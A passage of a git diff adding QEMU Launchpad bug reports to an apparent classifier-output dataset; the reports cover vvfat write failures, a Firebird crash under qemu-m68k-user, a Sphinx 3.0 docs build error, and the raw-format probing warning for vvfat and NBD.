+[ 0.571426] scsi host0: ata_piix +[ 0.572468] scsi host1: ata_piix +[ 0.573183] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc000 irq 14 +[ 0.574631] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc008 irq 15 +[ 0.577554] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver +[ 0.578977] ehci-pci: EHCI PCI platform driver +[ 0.579915] ehci-platform: EHCI generic platform driver +[ 0.580997] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver +[ 0.582272] ohci-pci: OHCI PCI platform driver +[ 0.583263] uhci_hcd: USB Universal Host Controller Interface driver +[ 0.584621] usbcore: registered new interface driver usb-storage +[ 0.585861] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 +[ 0.588420] serio: i8042 KBD port at 0x60,0x64 irq 1 +[ 0.589465] serio: i8042 AUX port at 0x60,0x64 irq 12 +[ 0.590662] input: PC Speaker as /devices/platform/pcspkr/input/input1 +[ 0.592062] rtc_cmos 00:00: RTC can wake from S4 +[ 0.593418] rtc_cmos 00:00: rtc core: registered rtc_cmos as rtc0 +[ 0.594894] rtc_cmos 00:00: alarms up to one day, 114 bytes nvram, hpet irqs +[ 0.596327] sdhci: Secure Digital Host Controller Interface driver +[ 0.597637] sdhci: Copyright(c) Pierre Ossman +[ 0.598637] sdhci-pltfm: SDHCI platform and OF driver helper +[ 0.599803] hidraw: raw HID events driver (C) Jiri Kosina +[ 0.600931] usbcore: registered new interface driver usbhid +[ 0.602007] usbhid: USB HID core driver +[ 0.602915] NET: Registered protocol family 17 +[ 0.603818] Key type dns_resolver registered +[ 0.605057] microcode: AMD CPU family 0x6 not supported +[ 0.607119] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input2 +[ 0.728744] ata1.00: ATA-7: QEMU HARDDISK, 2.5+, max UDMA/100 +[ 0.729972] ata1.00: 524288 sectors, multi 16: LBA48 +[ 0.731471] ata1.01: ATA-7: QEMU HARDDISK, 2.5+, max UDMA/100 +[ 0.733434] ata1.01: 1032192 sectors, multi 16: LBA48 +[ 0.736249] ata1.00: configured for MWDMA2 +[ 0.738486] ata1.01: configured for MWDMA2 +[ 0.739444] scsi 0:0:0:0: Direct-Access ATA QEMU HARDDISK 2.5+ PQ: 0 ANSI: 5 +[ 0.741982] sd 0:0:0:0: [sda] 524288 512-byte logical blocks: (268 MB/256 MiB) +[ 0.743988] sd 0:0:0:0: [sda] Write Protect is off +[ 0.745099] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 +[ 0.745113] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA +[ 0.747723] scsi 0:0:1:0: Direct-Access ATA QEMU HARDDISK 2.5+ PQ: 0 ANSI: 5 +[ 0.750102] sd 0:0:1:0: [sdb] 1032192 512-byte logical blocks: (528 MB/504 MiB) +[ 0.752090] sd 0:0:1:0: [sdb] Write Protect is off +[ 0.753399] sd 0:0:1:0: [sdb] Mode Sense: 00 3a 00 00 +[ 0.753411] sd 0:0:1:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA +[ 0.756666] sda: sda1 +[ 0.757441] sd 0:0:0:0: [sda] Attached SCSI disk +[ 0.758734] sdb: sdb1 +[ 0.759388] sd 0:0:1:0: [sdb] Attached SCSI disk +[ 0.762115] Freeing unused kernel memory: 1296K (ffffffff81ac8000 - ffffffff81c0c000) +[ 0.764256] Write protecting the kernel read-only data: 10240k +[ 0.766191] Freeing unused kernel memory: 248K (ffff8800015c2000 - ffff880001600000) +[ 0.775481] Freeing unused kernel memory: 1960K (ffff880001816000 - ffff880001a00000) +[ 0.810772] random: find: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.831717] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.833836] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.835975] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.838243] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.840990] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.843737] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.846516] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.849228] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 0.852005] random: hotplug.sh: uninitialized urandom read (8 bytes read, 3 bits of entropy available) +[ 1.510686] tsc: Refined TSC clocksource calibration: 2495.332 MHz +[ 1.512361] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x23f8003d665, max_idle_ns: 440795255217 ns +[ 4.158959] piix4_smbus 0000:00:01.3: SMBus Host Controller at 0x700, revision 0 +[ 4.838822] softdog: Software Watchdog Timer: 0.08 initialized. soft_noboot=0 soft_margin=60 sec soft_panic=0 (nowayout=0) +[ 4.982043] NET: Registered protocol family 10 +[ 5.000259] 8021q: 802.1Q VLAN Support v1.8 +[ 5.038615] u32 classifier +[ 5.039295] Performance counters on +[ 5.040081] input device check on +[ 5.040849] Actions configured +[ 36.744506] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.746008] ata1.01: BMDMA stat 0x4 +[ 36.746866] ata1.01: failed command: WRITE DMA +[ 36.747807] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.747807] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.750913] ata1.01: status: { DRDY ERR } +[ 36.751745] ata1.01: error: { ABRT } +[ 36.753735] ata1.00: configured for MWDMA2 +[ 36.754238] ata1.01: configured for MWDMA2 +[ 36.754248] ata1: EH complete +[ 36.764677] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.766125] ata1.01: BMDMA stat 0x4 +[ 36.767184] ata1.01: failed command: WRITE DMA +[ 36.768635] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.768635] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.773205] ata1.01: status: { DRDY ERR } +[ 36.774506] ata1.01: error: { ABRT } +[ 36.776598] ata1.00: configured for MWDMA2 +[ 36.777102] ata1.01: configured for MWDMA2 +[ 36.777112] ata1: EH complete +[ 36.787678] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.789165] ata1.01: BMDMA stat 0x4 +[ 36.790130] ata1.01: failed command: WRITE DMA +[ 36.791582] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.791582] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.796144] ata1.01: status: { DRDY ERR } +[ 36.797466] ata1.01: error: { ABRT } +[ 36.799712] ata1.00: configured for MWDMA2 +[ 36.800214] ata1.01: configured for MWDMA2 +[ 36.800223] ata1: EH complete +[ 36.810702] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.812454] ata1.01: BMDMA stat 0x4 +[ 36.813437] ata1.01: failed command: WRITE DMA +[ 36.814777] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.814777] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.820131] ata1.01: status: { DRDY ERR } +[ 36.821591] ata1.01: error: { ABRT } +[ 36.824043] ata1.00: configured for MWDMA2 +[ 36.824600] ata1.01: configured for MWDMA2 +[ 36.824610] ata1: EH complete +[ 36.834702] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.836377] ata1.01: BMDMA stat 0x4 +[ 36.836956] ata1.01: failed command: WRITE DMA +[ 36.838085] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.838085] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.843086] ata1.01: status: { DRDY ERR } +[ 36.844550] ata1.01: error: { ABRT } +[ 36.847300] ata1.00: configured for MWDMA2 +[ 36.847863] ata1.01: configured for MWDMA2 +[ 36.847873] ata1: EH complete +[ 36.857675] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 +[ 36.859795] ata1.01: BMDMA stat 0x4 +[ 36.861107] ata1.01: failed command: WRITE DMA +[ 36.862769] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out +[ 36.862769] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) +[ 36.868085] ata1.01: status: { DRDY ERR } +[ 36.869334] ata1.01: error: { ABRT } +[ 36.871646] ata1.00: configured for MWDMA2 +[ 36.872151] ata1.01: configured for MWDMA2 +[ 36.872166] sd 0:0:1:0: [sdb] tag#0 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE +[ 36.872170] sd 0:0:1:0: [sdb] tag#0 Sense Key : Illegal Request [current] [descriptor] +[ 36.872174] sd 0:0:1:0: [sdb] tag#0 Add. Sense: Unaligned write command +[ 36.872178] sd 0:0:1:0: [sdb] tag#0 CDB: Write(10) 2a 00 00 00 00 3f 00 00 01 00 +[ 36.872181] blk_update_request: I/O error, dev sdb, sector 63 +[ 36.873362] Buffer I/O error on dev sdb1, logical block 0, lost sync page write +[ 36.875082] ata1: EH complete +[ 36.875499] sda: detected capacity change from 0 to 268435456 +[ 36.875572] sda: detected capacity change from 0 to 268435456 +[ 78.637915] FAT-fs (sdb1): error, fat_get_cluster: invalid cluster chain (i_pos 0) +[ 78.641513] FAT-fs (sdb1): Filesystem has been set read-only +[ 78.645753] FAT-fs (sdb1): error, fat_get_cluster: invalid cluster chain (i_pos 0) +firewall# + + +Hi Rolando, +there are further changes in this build - we need to exclude that you are seeing this just due to only downloading the .deb file instead of enabling proposed to gain all required dependencies. + +You can instead of an full "apt upgrade" also run rather selective upgrades. +I'd recommend +1. enabling proposed +2. call apt upgrade to check what is available but then abort +3. call apt install "<qemu packages you saw in step #2" + # this will pull in all dependencies + +Hi Rolando, +we really should stick to here verify the issue that we fixed (the vvfat rw fail) and after you gave me a 50%-heartache :-) I verified proposed on my own now. + +It just works via +1. echo "deb http://archive.ubuntu.com/ubuntu/ xenial-proposed restricted main multiverse universe" >> /etc/apt/sources.list +2. apt update +3. apt install qemu-block-extra qemu-kvm qemu-system-common qemu-system-x86 qemu-utils + +Now (re)-start your vvfat guest and it will work to write to the vvfat disk. +It did so for me at least. + + +I read through the issue you are seeing now and that is IMHO as a TL;DR saying "the vvfat emulation of a directory is not matching mounting it directly in the guest. +Am I right with that the summary of above is +1. create empty fat (not vvfat) image bering-own.qcow2 +compare running +a) mount image to /mnt and append it as vvfat to the guest +vs +b) pass the qcow file itself as a drive to the guest +If I'm correct in reading what you do that is a totally different case. +If you look at the code [1] and some doc [2]+[3] you'll see that this driver is very restricted. +I'd never use it (or have seen it used) as root file system, not even for something critical other than simple data sharing between win guests and the host. +Quoting: +What you should never do: +- use non-ASCII filenames ; +- use "-snapshot" together with ":rw:" ; +- expect it to work when loadvm’ing ; +- write to the FAT directory on the host system while accessing it with the guest system. + +There are slight improvements in [4], but also see the discussion [3] which ended as Won't Fix. + +Quoting from [3] is good as well: "vfat is a last-resort quick-n-dirty fix for a problem when you have a guest which doesn't have any other ways to communicate except of a fat image (read: a floppy). In all other cases just don't use it." + +[1]: https://github.com/qemu/qemu/blob/master/block/vvfat.c +[2]: https://en.wikibooks.org/wiki/QEMU/Devices/Storage +[3]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=419929 +[4]: https://bugs.launchpad.net/qemu/+bug/1599539 + + +All that said for the initially reported issue I can confirm that the bug is fixed and verified in proposed. Further insufficiencies of vfat would be another bug, but actually more upstream development work. If you open a new one I'm happy to discuss, but unlikely will find the time to do the related dev work. + +Hi Christian, + +Ok, understood. And, yes, you are correct: basically I create a qcow image file and then: +- Bering works fine when passing qemu the qcow image file to be used as the HDD +- Bering doesn't work when mounting the same qcow image file and then launching qemu to access those same files from the mount point. + +Please note that the issue happens while meeting all this conditions (already known by me): + What you should never do: + - use non-ASCII filenames ; + - use "-snapshot" together with ":rw:" ; + - expect it to work when loadvm’ing ; + - write to the FAT directory on the host system while accessing it with the guest system. + +Anyways, will open a new bug for this LEAF/Bering issue but, I agree with you, in that this feature should be used with caution, at least for now, as it seems to be still quite buggy. + +Thanks Christian! + +This bug was fixed in the package qemu - 1:2.5+dfsg-5ubuntu10.13 + +--------------- +qemu (1:2.5+dfsg-5ubuntu10.13) xenial; urgency=medium + + * debian/patches/ubuntu/vvfat-fix-volume-name-assertion.patch: + Fix the volume name assertion in vvfat rw mode (LP: #1684239) + +qemu (1:2.5+dfsg-5ubuntu10.12) xenial; urgency=medium + + * debian/patches/ubuntu/bug-1656112-POWER8NVL-[12]-*.patch: + Add PowerISA 2.07 compatibility mode to fix execution on POWER8NVL + processors such as in S822LC (8335-GTB) machines (LP: #1656112) + + -- Christian Ehrhardt <email address hidden> Tue, 25 Apr 2017 13:58:10 +0200 + +The verification of the Stable Release Update for qemu has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. + +Thank you all very much guys! + +I'm on a business travel but will install update it as soon as I get back home. + +Hi Christian, + +as stated above, found other bugs but as you said they seem to not to be related to this one so please feel free to close it. + +Thanks, +Rolando. + diff --git a/results/classifier/deepseek-1/output/troubleshooting./1836763 b/results/classifier/deepseek-1/output/troubleshooting./1836763 new file mode 100644 index 00000000..21091dcf --- /dev/null +++ b/results/classifier/deepseek-1/output/troubleshooting./1836763 @@ -0,0 +1,120 @@ + +Firebird crashes on qemu-m68k-user with pthread_mutex_init error + +Trying to use the Firebird database on qemu-m68k-user with a Debian chroot fails with the database crashing with "ConfigStorage: mutex pthread_mutex_init error, status = 95": + +(sid-m68k-sbuild)root@epyc:/# apt install firebird3.0-server +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following packages were automatically installed and are no longer required: + cpio libip4tc0 +Use 'apt autoremove' to remove them. +The following additional packages will be installed: + firebird3.0-common firebird3.0-common-doc firebird3.0-server-core firebird3.0-utils libfbclient2 libib-util +Suggested packages: + firebird3.0-doc +The following NEW packages will be installed: + firebird3.0-common firebird3.0-common-doc firebird3.0-server firebird3.0-server-core firebird3.0-utils libfbclient2 libib-util +0 upgraded, 7 newly installed, 0 to remove and 4 not upgraded. +Need to get 4,051 kB of archives. +After this operation, 15.9 MB of additional disk space will be used. +Do you want to continue? [Y/n] +Get:1 http://ftp.ports.debian.org/debian-ports unstable/main m68k firebird3.0-common-doc all 3.0.5.33100.ds4-3 [35.3 kB] +Get:2 http://ftp.ports.debian.org/debian-ports unstable/main m68k firebird3.0-common all 3.0.5.33100.ds4-3 [14.5 kB] +Get:3 http://ftp.ports.debian.org/debian-ports unstable/main m68k libfbclient2 m68k 3.0.5.33100.ds4-3 [496 kB] +Get:4 http://ftp.ports.debian.org/debian-ports unstable/main m68k libib-util m68k 3.0.5.33100.ds4-3 [3,220 B] +Get:5 http://ftp.ports.debian.org/debian-ports unstable/main m68k firebird3.0-server-core m68k 3.0.5.33100.ds4-3 [2,368 kB] +Get:6 http://ftp.ports.debian.org/debian-ports unstable/main m68k firebird3.0-utils m68k 3.0.5.33100.ds4-3 [770 kB] +Get:7 http://ftp.ports.debian.org/debian-ports unstable/main m68k firebird3.0-server m68k 3.0.5.33100.ds4-3 [365 kB] +Fetched 4,051 kB in 2s (1,803 kB/s) +debconf: delaying package configuration, since apt-utils is not installed +E: Can not write log (Is /dev/pts mounted?) - posix_openpt (19: No such device) +Selecting previously unselected package firebird3.0-common-doc. +(Reading database ... 33605 files and directories currently installed.) +Preparing to unpack .../0-firebird3.0-common-doc_3.0.5.33100.ds4-3_all.deb ... +Unpacking firebird3.0-common-doc (3.0.5.33100.ds4-3) ... +Selecting previously unselected package firebird3.0-common. +Preparing to unpack .../1-firebird3.0-common_3.0.5.33100.ds4-3_all.deb ... +Unpacking firebird3.0-common (3.0.5.33100.ds4-3) ... +Selecting previously unselected package libfbclient2:m68k. +Preparing to unpack .../2-libfbclient2_3.0.5.33100.ds4-3_m68k.deb ... +Unpacking libfbclient2:m68k (3.0.5.33100.ds4-3) ... +Selecting previously unselected package libib-util:m68k. +Preparing to unpack .../3-libib-util_3.0.5.33100.ds4-3_m68k.deb ... +Unpacking libib-util:m68k (3.0.5.33100.ds4-3) ... +Selecting previously unselected package firebird3.0-server-core:m68k. +Preparing to unpack .../4-firebird3.0-server-core_3.0.5.33100.ds4-3_m68k.deb ... +Unpacking firebird3.0-server-core:m68k (3.0.5.33100.ds4-3) ... +Selecting previously unselected package firebird3.0-utils. +Preparing to unpack .../5-firebird3.0-utils_3.0.5.33100.ds4-3_m68k.deb ... +Unpacking firebird3.0-utils (3.0.5.33100.ds4-3) ... +Selecting previously unselected package firebird3.0-server. +Preparing to unpack .../6-firebird3.0-server_3.0.5.33100.ds4-3_m68k.deb ... +Unpacking firebird3.0-server (3.0.5.33100.ds4-3) ... +Setting up firebird3.0-common-doc (3.0.5.33100.ds4-3) ... +Setting up firebird3.0-common (3.0.5.33100.ds4-3) ... +Setting up libib-util:m68k (3.0.5.33100.ds4-3) ... +Setting up libfbclient2:m68k (3.0.5.33100.ds4-3) ... +Setting up firebird3.0-utils (3.0.5.33100.ds4-3) ... +Setting up firebird3.0-server-core:m68k (3.0.5.33100.ds4-3) ... +Setting up firebird3.0-server (3.0.5.33100.ds4-3) ... +debconf: unable to initialize frontend: Dialog +debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 76.) +debconf: falling back to frontend: Readline +Password for firebird 3.0 +------------------------- + +Firebird has a special user named SYSDBA, which is the user that has access to all databases. SYSDBA can also create new databases and users. Because of this, it is +necessary to secure SYSDBA with a password. + +The password is stored in /etc/firebird/3.0/SYSDBA.password (readable only by root). You may modify it there (don't forget to update the security database too, using the +gsec utility), or you may use dpkg-reconfigure to update both. + +If you don't enter a password, a random one will be used (and stored in SYSDBA.password). + +Password for SYSDBA: + +adduser: Warning: The home directory `/var/lib/firebird' does not belong to the user you are currently creating. +ConfigStorage: mutex pthread_mutex_init error, status = 95 +qemu: uncaught target signal 6 (Aborted) - core dumped +Aborted +dpkg: error processing package firebird3.0-server (--configure): + installed firebird3.0-server package post-installation script subprocess returned error exit status 134 +Processing triggers for systemd (241-6+b2) ... +Processing triggers for man-db (2.8.5-2) ... +Not building database; man-db/auto-update is not 'true'. +Processing triggers for libc-bin (2.28-10+qemu) ... +Errors were encountered while processing: + firebird3.0-server +E: Sub-process /usr/bin/dpkg returned an error code (1) +(sid-m68k-sbuild)root@epyc:/# SEC_SQL=/usr/share/firebird/3.0/security.sql T=/tmp/tmp.2kBDCgAevm T_SEC=/tmp/tmp.2kBDCgAevm/security.fdb isql-fb -q +SQL> create database '/tmp/tmp.2kBDCgAevm/security.fdb'; +ConfigStorage: mutex pthread_mutex_init error, status = 95 +qemu: uncaught target signal 6 (Aborted) - core dumped +Aborted +(sid-m68k-sbuild)root@epyc:/# + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/442 + + diff --git a/results/classifier/deepseek-1/output/upstream./1872113 b/results/classifier/deepseek-1/output/upstream./1872113 new file mode 100644 index 00000000..3e5be6cd --- /dev/null +++ b/results/classifier/deepseek-1/output/upstream./1872113 @@ -0,0 +1,170 @@ + +qemu docs fails to build with Sphinx 3.0.x + +We've just updated Sphinx to version 3.0.1 and qemu fails to build the docs with this version. + +Here's the relevant section in the build log. + +CONFDIR="/etc/qemu" /usr/bin/sphinx-build-3 -W -b html -D version=4.2.92 -D release="4.2.92 (qemu-5.0.0-0.rc2.0.1.mga8)" -d .doctrees/devel-html /home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/devel docs/devel +Running Sphinx v3.0.1 +making output directory... done +building [mo]: targets for 0 po files that are out of date +building [html]: targets for 14 source files that are out of date +updating environment: [new config] 14 added, 0 changed, 0 removed +reading sources... [ 7%] bitops +reading sources... [ 14%] decodetree +reading sources... [ 21%] index +reading sources... [ 28%] kconfig +reading sources... [ 35%] loads-stores +reading sources... [ 42%] memory +reading sources... [ 50%] migration +reading sources... [ 57%] reset +reading sources... [ 64%] s390-dasd-ipl +reading sources... [ 71%] secure-coding-practices +reading sources... [ 78%] stable-process +reading sources... [ 85%] tcg +reading sources... [ 92%] tcg-plugins +reading sources... [100%] testing + + +Warning, treated as error: +/home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/../include/exec/memory.h:3:Type must be either just a name or a typedef-like declaration. +If just a name: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name, got keyword: struct [error at 6] + struct MemoryListener + ------^ +If typedef-like declaration: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name. [error at 21] + struct MemoryListener + ---------------------^ + +make: *** [Makefile:1095: docs/devel/index.html] Error 2 +make: *** Waiting for unfinished jobs.... + +I found this commit for memory.h that includes the section that faults. +https://github.com/qemu/qemu/commit/5d248213180749e674fbccbacc6ee9c38499abb3#diff-d892cbf314945b44699534cc1de4ebbd + +You can see the whol build log here. +https://pkgsubmit.mageia.org/uploads/failure/cauldron/core/release/20200410161120.tv.duvel.699/log/qemu-5.0.0-0.rc2.0.1.mga8/build.0.20200410161338.log + +System: Mageia Cauldron + +Hmm, that's not ideal. The C is valid C which the compiler accepts, so I'm not sure what Sphinx is complaining about, and I don't have a system with that new a version of Sphinx. + +It does suggest that we ought to make our configure --enable-werror/--disable-werror (and the code that makes the default be disable for releases) control Sphinx's warnings-as-errors option as well as the compiler's, which would at least mean that for released versions the build doesn't fail entirely on Sphinx warnings. + + +One of our packaging gurus make a small change that removed the error fails option. + +# Don't treat warnings as errors when building docs with sphinx +sed -i -e '/SPHINX_BUILD/s/-W//' Makefile + +The build completes now, however there are still errors. + +CONFDIR="/etc/qemu" /usr/bin/sphinx-build-3 -b html -D version=4.2.92 -D release="4.2.92 (qemu-5.0.0-0.rc2.0.1.mga8)" -d .doctrees/devel-html /home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/devel docs/devel +Running Sphinx v3.0.1 +making output directory... done +building [mo]: targets for 0 po files that are out of date +building [html]: targets for 14 source files that are out of date +updating environment: [new config] 14 added, 0 changed, 0 removed +reading sources... [ 7%] bitops +reading sources... [ 14%] decodetree +reading sources... [ 21%] index +reading sources... [ 28%] kconfig +reading sources... [ 35%] loads-stores +reading sources... [ 42%] memory +reading sources... [ 50%] migration +reading sources... [ 57%] reset +reading sources... [ 64%] s390-dasd-ipl +reading sources... [ 71%] secure-coding-practices +reading sources... [ 78%] stable-process +reading sources... [ 85%] tcg +reading sources... [ 92%] tcg-plugins +reading sources... [100%] testing + +/home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/../include/exec/memory.h:3: WARNING: Type must be either just a name or a typedef-like declaration. +If just a name: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name, got keyword: struct [error at 6] + struct MemoryListener + ------^ +If typedef-like declaration: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name. [error at 21] + struct MemoryListener + ---------------------^ + +/home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/../include/exec/memory.h:428: WARNING: Type must be either just a name or a typedef-like declaration. +If just a name: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name, got keyword: struct [error at 6] + struct AddressSpace + ------^ +If typedef-like declaration: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name. [error at 19] + struct AddressSpace + -------------------^ + +/home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/../include/exec/memory.h:673: WARNING: Type must be either just a name or a typedef-like declaration. +If just a name: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name, got keyword: struct [error at 6] + struct MemoryRegionSection + ------^ +If typedef-like declaration: + Error in declarator or parameters + Invalid C declaration: Expected identifier in nested name. [error at 26] + struct MemoryRegionSection + --------------------------^ + +/home/iurt/rpmbuild/BUILD/qemu-5.0.0-rc2/docs/../include/exec/memory.h:834: WARNING: Error in declarator or parameters +Invalid C declaration: Expecting "," or ")" in parameters, got "EOF". [error at 208] + void memory_region_init_resizeable_ram (MemoryRegion * mr, struct Object * owner, const char * name, uint64_t size, uint64_t max_size, void (*resized) (const char*, uint64_t length, void *host, Error ** errp) + ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------^ +looking for now-outdated files... none found +pickling environment... done +checking consistency... done +preparing documents... done +writing output... [ 7%] bitops +writing output... [ 14%] decodetree +writing output... [ 21%] index +writing output... [ 28%] kconfig +writing output... [ 35%] loads-stores +writing output... [ 42%] memory +writing output... [ 50%] migration +writing output... [ 57%] reset +writing output... [ 64%] s390-dasd-ipl +writing output... [ 71%] secure-coding-practices +writing output... [ 78%] stable-process +writing output... [ 85%] tcg +writing output... [ 92%] tcg-plugins +writing output... [100%] testing + +generating indices... genindexdone +writing additional pages... searchdone +copying static files... ... done +copying extra files... done +dumping search index in English (code: en)... done +dumping object inventory... done +build succeeded, 4 warnings. + +The HTML pages are in docs/devel. + +I'm a bit confused: you say "however there are still errors" but the build log you quote ends with "build succeeded, 4 warnings" and it looks like it has indeed just produced warnings and continued. + + +You are right. Wrong choice of words. + +However, the change is a breaking change from Sphinx. + +See https://github.com/sphinx-doc/sphinx/issues/7457#issuecomment-612413080 + +I've sent a proposed fix to the list: +https://<email address hidden>/ + + +The upstream fix for this is now in 5.0-rc3 and will be in the final 5.0 release. + diff --git a/results/classifier/deepseek-1/output/usage./1474263 b/results/classifier/deepseek-1/output/usage./1474263 new file mode 100644 index 00000000..0ddf0731 --- /dev/null +++ b/results/classifier/deepseek-1/output/usage./1474263 @@ -0,0 +1,165 @@ + +"Image format was not specified" warning should be suppressed for the vvfat (and probably nbd) driver + +Running + +qemu -drive file.driver=vvfat,file.dir=. + +displays + +WARNING: Image format was not specified for 'json:{"dir": ".", "driver": "vvfat"}' and probing guessed raw. + Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. + Specify the 'raw' format explicitly to remove the restrictions. + +However, since "images" provided by the vvfat driver are always raw (and the first sector isn't writeable in any case), this warning is superfluous and should not be displayed. + +A similar warning is displayed for NBD devices; I suspect it should be also disabled for similar reasons, but I'm not sure if serving non-raw images is actually a violation of the protocol. qemu-nbd translates them to raw images, for what it's worth, even if it may be suppressed with -f raw. + +Noticed on 2.3.0; the code that causes this behaviour is still apparently present in today's git master (f3a1b5068cea303a55e2a21a97e66d057eaae638). Speaking of versions: you may want to update the copyright notice that qemu -version displays. + +Hi, + +Indeed using non-raw images should not be used over NBD. The warning however is not superfluous, since qemu does indeed probe the image format, so a malicious guest might write a qcow2 header into the raw image, thus making qemu probe a qcow2 image the next time the same configuration is used. The problem would be solved by not making qemu probe the image format over NBD, but always assume raw; but I guess this will break existing use cases, even though they were wrong from the start. Anyway, this is solved by explicitly specifying the image format to be raw, which is what the warning says. + +When it comes to vvfat, we might actually put up another warning saying that vvfat is deprecated, but anyway: Here, too, the warning is suppressed by doing what the warning says. Use -drive format=raw,file.driver=vvfat,file.dir=. and the warning disappears (or driver=raw instead of format=raw, it's the same). + +Concluding: Doing what the warning says makes it disappear (-drive format=raw,…), which is, not coincidentally, the warning's purpose, actually. If we want to do something about this, we would have to allow protocols like NBD and vvfat be able to force the default image format used on top of them (i.e. raw). But this may break existing use cases, at least for NBD, so I'd be wary about that. + +Max + +On 07/15/2015 09:42 AM, Max Reitz wrote: +> Hi, +> +> Indeed using non-raw images should not be used over NBD. The warning +> however is not superfluous, since qemu does indeed probe the image +> format, so a malicious guest might write a qcow2 header into the raw +> image, thus making qemu probe a qcow2 image the next time the same +> configuration is used. The problem would be solved by not making qemu +> probe the image format over NBD, but always assume raw; but I guess this +> will break existing use cases, even though they were wrong from the +> start. Anyway, this is solved by explicitly specifying the image format +> to be raw, which is what the warning says. + +I could actually see the use of non-raw over NBD. We support nested +protocols (where you can use qcow2->qcow2->file), that is, where a file +contains a qcow2 file whose contents are themselves a qcow2 image. +(Perhaps useful in nested guests, where the outer qcow2 layer serves a +disk to an L0 guest, which in turn uses the inner layer to present a +disk to an L1 guest). In such a case, opening just one layer of qcow2 +for service over NBD will expose the inner qcow2 image, and connecting +qemu as an NBD client with format=raw will directly manipulate the qcow2 +data seen by the L0 guest, while connecting as an NBD client with +format=qcow2 will see the raw data seen by the L1 guest. + +But it's more likely to encounter this scenario with NBD, and not with +vvfat. + +> +> When it comes to vvfat, we might actually put up another warning saying +> that vvfat is deprecated, but anyway: Here, too, the warning is +> suppressed by doing what the warning says. Use -drive +> 